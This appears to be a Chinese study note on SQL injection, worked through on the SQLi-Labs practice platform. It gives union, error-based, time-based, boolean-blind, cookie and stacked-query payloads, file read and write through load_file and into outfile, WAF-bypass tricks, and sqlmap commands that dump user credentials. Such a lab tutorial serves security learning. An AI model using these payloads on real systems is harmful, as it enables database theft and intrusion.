2-SQL注入渗透与攻防
1、SQL注入基础
1.1 什么是sql注入
一、SQL注入概述
二、数据库概述
1.关系型数据库
关系型数据库,存储格式可以直观的反映实体间的关系,和常见的表格比较相似
关系型数据库中表与表之间有很多复杂的关联关系的
常见的关系型数据库有MySQL、Orcale、PostgreSQL、SQL Server等
2.非关系型
随着近些年技术方向的不断扩大,大量的NoSQL数据库如 Mon goDB,Redis出于简化数据库结构,避免冗余或影响性能的表连接。摒弃复杂分布式的目的被设计
NoSQL数据库适合追求速度和可拓展性,业务多变的场景
1.2 MYSQL语句语法
一、回顾SQL语句语法
打开phpstudy启动服务,进入mysql/bin,进入cmd
进行登录 mysql -uroot -proot -h 127.0.0.1
查询当前数据库服务器所有的数据库:show databases;
选中某个数据库:use 数据库名字;
查询当前数据库所有的表:show tables;
查询t1表所有数据:select * from t1;
条件查询:select * from t1 where id=1;
合并查询:select * from t1 where id=2 union select * from t1 where pass=111;
2个特性:前面的查询语句 和 后面的查询语句 结果互不干扰!
前面的查询语句的字段数量 和 后面的查询语句字段的数量 要一致(比如*号)
报错:select id from t1 where id=2 union select * from t1 where pass=111;
修改:select id from t1 where id=2 union select pass from t1 where pass=111;
排序:select * from t1 order by pass;
在sql注入中用来拆解表的列数
用法:order by 1;order by 2;...;一直到报错位置,可以爆破出当前的表有几列
1.3 系统库
一、系统库
提供了访问数据库元数据的方式,是系统自带的数据库(一共四个)
元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。
1.information_schema库(61张表)
是信息数据库,其中保存着关于MySQL服务器所维护的所有其他数据库的信息;例如数据库或表的名称,列的数据类型或访问权限。有时用于此信息的其他术语是数据字典和系统目录。web渗透过程中用途很大。
SCHEMATA表:提供了当前MySQL实例中所有数据库信息,show databases结果取之此表的SCHEMA_NAME字段。
TABLES表:提供了关于数据中表的信息。table_name
COLUMNS表:提供了表的列信息,详细描述了某张表的所有字段的字段信息。column_name
2.performance_schema库(87张表)
MySQL5.5开始新增一个数据库:PERFORMANCE_SCHEMA,主要用于收集数据库服务器性能参数。内存数据库,数据放在内存中直接操作的数据库。相对于磁盘,内存的教据渎写速度要高出几个数量级。
3.mysql库
是核心数据库,类似于sqlserver中的master表,主要负责存储数据库的用户(账户)信息、权限设置、关键字等mysql自己需要使用的控制和管理信息。不可以删除。如果对mysql不是很了解,也不要轻易修改这个数据库里面的表信息。常用举例:在mysql.user表中修改root用户的密码。
4.sys库(1个表,100个视图)
sys库是MySQL5.7增加的系统数据库,这个库是通过视图的形式把information_schema和performance_schema结合起来,查询出更加令人容易理解的数据。可以查询谁使用了最多的资源,哪张表访问最多等。
2、MYSQL手工注入
2.1 sqli-labs环境搭建
SQLi-Labs是一个专业的SQL注入练习平台,适用于GET和POST场景,包含了以下注入:
1、基于错误的注入(Union Select)
字符串
整数
2、基于误差的注入(双查询注入)
3、盲注入(01、基于Boolian数据类型注入,02、基于时间注入)
4、更新查询注入(update)
5、插入查询注入(insert)
6、Header头部注入(01、基于Referer注入,02、基于UserAgent注入,03、基于cookie注入)
7、二阶注入,也可叫二次注入
8、绕过WAF
绕过黑名单\过滤器\剥离\注释剥离 OR & AND 剥离空格 和 注释剥离UNION和SELECT
隐瞒不匹配
9、绕过addslashes()函数
10、绕过mysql_real_escape_string()函数(在特殊条件下)
11、堆叠注入(堆查询注入)
12、二级通道提取
2.2 手注
一、SQL注入知识点
二、SQL注入流程(SQLi第二关)
浏览器进行数据提交到服务器:
GET提交:通过URL提交 数据长度有限制 速度快
POST提交:直接通过服务器提交 安全性高 可通过数据量大
1.有无注入点 (and 1 = 1;)
或随便输入内容,若报错则说明有注入点,没报错则说明有可能被过滤了
2.猜解列名数量 (order by 1(2)(3))
不断尝试直到报错 (%20表示空格)
3.通过报错方式,判断回显点 (.../index.php?id=-1 union select 1,2,3)
由于union需要 前面的 和 后面的 字段要保持一致,所以需要猜解列名
4.信息收集 (union select 1,version(),database())
通过回显点,进行信息收集
数据库版本 version()、数据库名database()
收集所有库名union select 1,group_concat(schema_name),3 from information_schema.schemata
5.查询库中有哪些表名
数据库库名:security
通过系统库查找表名:information_schema.tables
table_name
查询security库下面的所有的表名:
(union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security')
表名很多时,不一定在页面能显示----group_concat(table_name)合并相同值
security字符可以 转换 database()代替
6.查询表里有哪些字段
表名:users
(union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users')
users字符可以 转换 成16进制0x7573657273代替
7.查询数据
发现users表中有username、password字段
select username,password from users;
union select 1,2,(select group_concat(username,0x3a,password) from users)
0x3a表示分号符‘:’
2.3 高权限注入(上)
多个网站的不同数据库,是可以部署在同一个mysql服务器中的
一、MySQL权限介绍
系统库mysql数据库中,存在4个控制权限的表,分别为user表,db表,tables_priv表,columns_priv表。权限从大到小-依次排列
1.查看mysql有哪些用户
select user,host from mysql.user;
2.查看用户对应权限
select * from user where user='root' and host='localhost'\G;
(\G表示按列打印)
3.创建mysql用户
执行create user/grant命令
CREATE USER 'test1'@'localhost' IDENTIFIED BY '123456';
4.只提供id查询权限
grant select(id) on test.t1 to test1@'localhost' identified by '123456';
5.把普通用户变成管理员
grant all privileges on . to 'test1'@'localhost' with grant option;
6.删除用户
use mysql
drop user test1@'localhost';
2.4 高权限注入(下)
同2.3流程,但是不同的是,通过SQLI的数据库,拿到test数据库下的数据。
条件1:用户权限必须为root
条件2:只能对高版本的Mysql进行注入,依赖information库
2.5 SQL注入之文件读写
原理:利用文件的读写权限进行注入,可以写入一句话木马 或 读取系统文件的敏感信息。
一、文件读写注入条件
为root用户
高版本的MYSQL添加了一个新特性secure_file_priv该选项限制了mysql导出文件的权限。
secure_file_priv选项
linux
cat /etc/my.cnf
[mysqld]
secure_file_priv=
win
my.ini
[mysqld]
secure_file_priv=
show global variables like '%secure%'; 查看mysql全局变量的配置
1.读写文件需要secure_file_priv权限
secure_file_priv="" 代表文件读写没有限制
secure_file_priv=NULL 代表不能读写文件
secure_file_priv=d:/phpstudy/mysql/data 代表只能对该路径下的文件进行读写
2.常见网站绝对路径
Windows常见:
Phpstudy phpstudy/www
phpstudy/PHPTutorial/www
Xampp xampp/htdocs
Wamp wamp/www
Appser apppser/www
Linux常见:
/var/mysql/data
/var/www/html
路径获取常见方式:
报错显示,遗留文件,漏洞报错,平台配置文件等
3.读取文件(第二关)
使用函数:load_file()
后面的路径可以是单引号,0x,char转换的字符。
注意:路径中的斜杠是/不是
一般可以与union中作为一个字段使用,查看config.php(即mysql密码),apache配置...
select load_file('c:/test/t1.txt');
?id=-1 union select 1,load_file('c:/test/t1.txt'),3
4.写入文件
使用函数:Into Outfile(能写入多行,按格式输出) 和 into Dumpfile(只能写入一行且没有输出格式)
outfile 后面不能0x开头或者char转换以后的路径,只能是单引号路径
?id=-1 union select 1,'88888888',3 into outfile 'c:/test/t2.txt' --+
(报错,由于存在LIMIT 0,1,所以把后面用--+进行注释)
(LIMIT 0,1 表示从0开始,前进1位数字。如有A、B、C、D、E数据,一行显示不下)
(则0,1显示A,1,1显示B,2,1显示C,3,1显示D)
2.6 SQL注入之基础防护
发现无论是读取还是写入文件,都需要路径
例如可以用php自带的魔术引号(Magic Quote)来进行防御
一、魔术引号
是一个自动将进行PHP脚本的数据进行转义的过程,会在' " /前面加入反斜杠\转义符
在php.ini文件内找到
magic_quotes_gpc = On 开启
magic_quotes_gpc = Off 关闭
但是很容易被绕过,且对程序员有一定的影响。
二、内置函数
1.做数据类型的过滤/判断,限制传入的数据类型
2.关键字过滤
3、数据类型与提交方式
3.1 数据类型
进行SQL注入第一步,判断有无SQL注入点(随意输入,如:id=1)
一、数字型注入点(第二关)
$id = $_GET(id)
$sql = "SELECT * FROM users WHERE id=$id LIMIT 0,1";
发现(and 1 = 1)显示结果;
发现(and 1 = 2)不显示结果;
二、字符型注入点(第一关)
$id = $_GET(id)
$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";
发现(and 1 = 1)显示结果;
发现(and 1 = 2)显示结果;
由于mysql将 id = '1 and 1 = 2' 当做了一个整体,所以会自动过滤掉1后面的字符
所以当输入?id=1'时,mysql会报错!因为多了一个单引号',所以存在字符型注入点
三、搜索型注入点
例如存在你搜索部分关键字,但是sql会帮你自动补全,并显示所有可能的结果
like 模糊查询
% % 通配符
#、%23、--+ 是注释符
select * from users where username like '%D%'(包含d的数据)
注入方式:y%' or 1=1#
会显示所有数据,而不是包含y的数据,因为or 1=1始终为ture
四、其他型注入点
除了单引号' 双引号" 还可能有括号()
为了闭合!!
3.2 提交方式
一、GET方式注入
主要是通过url中传输数据到后台,带入到数据库中去执行,可利用联合注入方式直接注入
场景:数据不敏感,安全需求不高,长度有限2kb,速度快
二、POST方式注入(第11关)
post提交方式主要适用于表单form的提交,用于登陆框的注入,数据直接传递给服务器
方法:利用BurpSuite抓包进行重放修改内容进行,和get差别是需要借助抓包工具进行测试,返回结果主要为代码,也可以转化为网页显示
三、Cookie提交注入
$c = $_COOKIE['s'];
通过抓包,修改Cookie参数
三、Request方式注入
$c = $_REQUEST['s'];
理解:无论哪种方式都能提交
$_SERVER[];
例如:该函数可以获取当前用户的IP、主机名等,用于适配移动端和PC端
四、HTTP头注入
3.3 靶场案例练习
一、第11关 Less-11 POST - Error Bassed - Single quotes - String(基于错误的POST型单引号字符型注入)
1.通过抓包工具BurpSuite
查看源码,就是普通的POST提交
在红框处修改sql语句,如:zhangsan' union select 1,database()--+
二、第20关 Less-20 POST -Cookie injections - Uagent field - Error based(基于错误的cookie头部POST注入)
1.通过抓包工具
查看源码,发现虽然调用了POST提交,但是传递到了check_input函数,其中调用了魔术引号,所以Less-11的方法无法注入,考虑cookie注入
Cookie注入:绕过一些常规的防御手段
2.通过admin、admin登录,刷新并且抓包
3.send to repeater,修改其中的cookie数据
4.或删除尾部的Submit,并在头部手动添加Cookie
Cookie:uname=zhangsan' union select 1,2,database()--+
4、查询方式及报错注入
4.1 查询方式
当进行SQL注入时,有很多注入会出现无回显的情况,其中不回显的原因可能是SQL语句查询方式为问题导致的,这个时候我们需要用到报错后者盲注进行后续操作,同时在注入点过程中,提前了解其中SQL语句可以更好地选择对应的注入语句。
一、select查询数据
例如:在网站应用中进行登录,进行数据显示查询操作
select * from user where id=$id
二、delete删除数据
例如:删除购物车中的商品,后台管理后面删除文章删除用户等操作
delete from user where id=$id
三、insert插入数据
例如:在网站应用中进行用户注册添加操作
insert into user (id,name,psw) values(1,'zhangsan','123456')
四、update更新数据
例如:后台中心数据同步或者缓存操作
update user set pwd='p' where id = 1
4.2 报错盲注(基于报错的SQL盲注 - 报错回显)(强制性报错)
当不存在回显点时,则需要用到!!
一、基础函数
1.updatexml():从目标XML中更改包含所有查询值的字符串
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为DOC
第二个参数:XPath_String(Xpath格式字符串)
第三个参数:new_value是String格式,替换查找到的符合条件的数据
updatexml(XML_document,XPath_String,new_value);
'union select 1,extractvalue(1,concat(0x7e,(select version())))%23
(%23是#的意思)
'or updatexml(1,concat(0x7e,database()),0) or'
OR 可以少写一个union
2.extractvalue():从目标XML中返回包含所有查询值的字符串
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为DOC
第二个参数:XPath_String(Xpath格式字符串)
extractvalue(XML_document,XPath_String)
'or extractvalue(1,concat(0x7e,database())) or'
二、利用(第11关)
原理:在XPath参数处,填上我们想要的SQL语句,这样系统会导致强制报错
如:首先使用抓包工具,然后右键Send to Repeater!
union select 1,extractvalue(1,(select version()))%23显示不全
union select 1,extractvalue(1,concat(0x7e,(select version()),0x7e))%23显示完整
(0x7e是波浪线)
达到报错回显的目的!
union select 1,extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))%23
同理:updatexml函数
union select 1,updatexml(1,concat(0x7e,(select version()),0x7e),3)%23
4.3 延时注入(基于时间的SQL注入 - 延时判断)
既没有回显点,也没有对应的报错信息!!
一、知识储备
函数 | 功能 |
---|---|
sleep(3) | 休眠3秒 |
if(a,b,c) | a条件成立 执行b,条件不成立 执行c |
mid(a,b,c) | 从b开始,截取a字符串的c位 |
substr(a,b,c) | 从b开始,截取字符串a的c长度 |
left(database(),1) | left(a,b)从左侧截取a的前b位 |
length(database())=8 | 判断长度 |
ord=ascii ascii(x)=100 | 判断x的ascii值是否为100 |
如:select * from t1 where id=1 and sleep(if(database()='test',3,0));
二、步骤(第二关)
1.猜解数据库名的长度
如果数据库名的长度为8,则转圈圈5秒后相应,否则立即响应
?id=1 and sleep(if(length(database())=8,5,0))
2.一个一个字母猜
通过mid()或substr()函数,两者效果一样
实例:数据库名test
select mid(databaase(),1,1);
显示:t
select mid(databaase(),1,2);
显示:te
或者通过left()函数
实例:数据库名test
select left(database(),3);
显示:tes
截取数据库名的第一位的前两位是否等于'te'
?id=1 and sleep(if(mid(database(),1,2)='te',5,0))
3.联合
security数据库中第一张表为emails
由于选取了limit 0,1所有是emails表,且mid截取了第一个字符'e',ascii码为101
if(ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(5),0)
4.4 布尔盲注(基于布尔的SQL盲注 - 逻辑判断)
一、什么是布尔盲注?
Web的页面仅仅会返回True和False,那么布尔盲注就是进行SQL注入之后,然后根据页面返回的True或者是False来得到数据库中的相关信息
二、流程
基于无回显的情况下,但是是否查询成功,会显示不同的Web页面(如第5关),所以可以进行猜
1.判断有无注入点
and 1=1、or 1=1
2.判断数据类型
数字型、字符型、单引号、双引号
3.结合二分法猜解(ascii码0-127)
length()>64 -> length()>96
mid()、substr()、left()
三、靶场实际案例(第5关)
1.猜解数据库的长度
用and连接,看页面是否正常显示
?id=1' and length(database())=8--+
2.猜解数据库的名字
?id=1' and ascii(mid(database(),1,1))>115--+ 非正常
?id=1' and ascii(mid(database(),1,1))>116--+ 非正常
?id=1' and ascii(mid(database(),1,1))=115--+ 正常s
?id=1' and ascii(mid(database(),2,1))=101--+ 正常e
?id=1' and ascii(mid(database(),3,1))=99 --+ 正常c
3.猜解表名
第一张表emails、第二张表referers
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101--+ 字符e正确emails
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=109--+ 字符m正确emails
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114--+ 字符r正确referers
盲注总结
盲注分为三种:
1.报错型盲注:根据页面返回的报错信息,来判断的即为报错型盲注
2.时间型盲注:根据页面返回的时间,来判断的即为时间型盲注
3.布尔型盲注:根据页面返回的对错,来判断的即为布尔型盲注
4.5 解密注入(第21关)
1.信息收集
首先通过admin、admin登陆页面,通过抓包可以发现是Cookie注入
其中Cookie:uname=YWRtaW4%3D(发现是base64加密,其中%3D是字符=)
2.可以结合报错注入,爆出数据库名
Cookie:admin' or extractvalue(1,concat(0x7e,database())) or'
修改为:
Cookie:YWRtaW4nIG9yIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLGRhdGFiYXNlKCkpKSBvcic=
4.6 堆叠注入
在SQL中,分号; 是用来表示一条sql语句的结束,试想一下我们在; 结束一个sql语句后面继续构造下一条语句会不会一起执行?因此这个想法也就造就了堆叠注入。
条件:如Oracle不支持
一、实战靶场(第38关)
?id=1';insert into users(id,username.password) values('11','22','33')--+
区别:union 必须 前后的操作和字段 一致,如:都是select且都是*
5、WAF绕过
WAF拦截原理:WAF从规则库中匹配敏感字符进行拦截。
常见:网站安全狗、宝塔、阿里云云盾
5.1 绕过方式
一、数据
大小写、加密解密、编码解码、等价函数、特殊符号、反序列化、注释符混用
二、方式
更改提交方式、变异
三、其他
Fuzz大法、数据库特性、垃圾数据溢出
5.2 绕过姿势
一、防止 and 和 or
如果此时是POST或REQUEST提交。
则可以用firefox hackbar的post提交绕过WAF。
二、关键词大小写绕过
举例:union select ---> unIOn SeLEct
三、内联注释符绕过 ---> 拦截database()、version()整体
思路:发现不会单独拦截database或(),所以想办法分开!
举例:database /**/ () 中间插入注释
外联注释: --+ 、# 、%23
内联注释:/*这个是注释*/
语句:union select = /*!union*/ select
注释符里的感叹号后面的内容会被mysql执行
语句:id=-1 union select 1,database/**/(),3
四、HTTP参污染
原理:对目标发送多个参数,如果目标没有多参数进行多次过滤,那么WAF对多个参数只会识别其中的一个。
举例:?id=1&id=2&id=3
?id=1/**&id=-1%20union%20select%201,2,3%23*/
五、编码绕过
针对WAF过滤的字符编码,如使用URL编码、Unicode编码、十六进制编码、Hex编码等。
举例:union select 1,2,3# ---> union %0a select 1\u002c2,3%23
六、双写绕过
部分WAF只对字符串识别一次,删除敏感字段并拼接剩余语句,这时,我们可以通过双写来进行绕过。
举例:UNIunionON,SELselectECT,anandd
七、同义词替换
and = &&
or = ||
'=' = '=<、>'
空格不能使用 = %09、%0a、%0b、%0c、%0d、%20、%a0等
注:%0a是换行也可以代替空格
总结
WAF绕过思路就是让WAF的检测规则识别不到你所输入的敏感字符,利用上述所介绍的知识点,灵活结合各种方法,从而增加绕过WAF的可能性
order by and or 绕过:%20/*//--/*/
举例:order%20/*//--/*/by 3
联合绕过:union/*//--/*/ /*!--+/*%0aselect/*!1,database(),3*/ --+
核心就是:union #
%0a换行 select
from绕过:/*!06447%23%0afrom*/
%0a表示换行、%20表示空格
6、sqlmap
6.1 sqlmap安装
安装地址:https://sqlmap.org(Kali自带)
可能会访问过多,导致多并发
常用指令:
-u:用于get方式提交,后面跟注入的url网址
-r:加载一个文件
-p:指定扫描的参数
--current-db:当前数据库
--forms:自动检测表单
--dbs:获取所有数据库
--tables:获取所有数据表
--columns:获取所有字段
--dump:打印数据
-D:查询选择某个库
-T:查询选择某个表
-C:查询选择某个字段
--level:执行测试的等级(1~5,默认为1),使用-level参数并且数值>=2的时候会检查cookie里面的参数,当>=3时检查user-agent和referer
--risk:执行测试的风险(0~3,默认为1),默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加or语句的sql注入
6.2 sqlmap使用(get型注入 -u)
cmd执行语句:sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-2/?id=1"
修改第二个问题:对于剩余的测试,您想要包括所有针对“MySQL”扩展提供的级别(1)和风险(1)值的测试吗?
执行成功后,
cmd执行语句:sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-2/?id=1" --dbs
以及:sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-2/?id=1" -D "security" --tables
以及:sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-2/?id=1" -D "security" -T "users" --columns
以及:sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-2/?id=1" -D "security" -T "users" -C "id,password,username" --dump
6.3 sqlmap使用(post型注入)
POST型:与数据库交互是通过post数据进行,URL不可见
利用sqlmap进行POST注入,常见的有三种方法:
一、注入方式一(第12关)--> ")闭合
1.用BurpSuite抓包,将抓包内容复制保存到txt中
2.打开cmd进入sqlmap,输入命令
cmd命令:sqlmap.py -r C:\Users\11277\Desktop\渗透\2-SQL注入渗透与攻防\Less_12.txt -p uname --current-db
二、注入方式二:自动搜索表单注入
cmd命令:sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-12/index.php" --forms
会检测网站php源码中的form表单,如uname、passwd、submit,局限:无法进行头部注入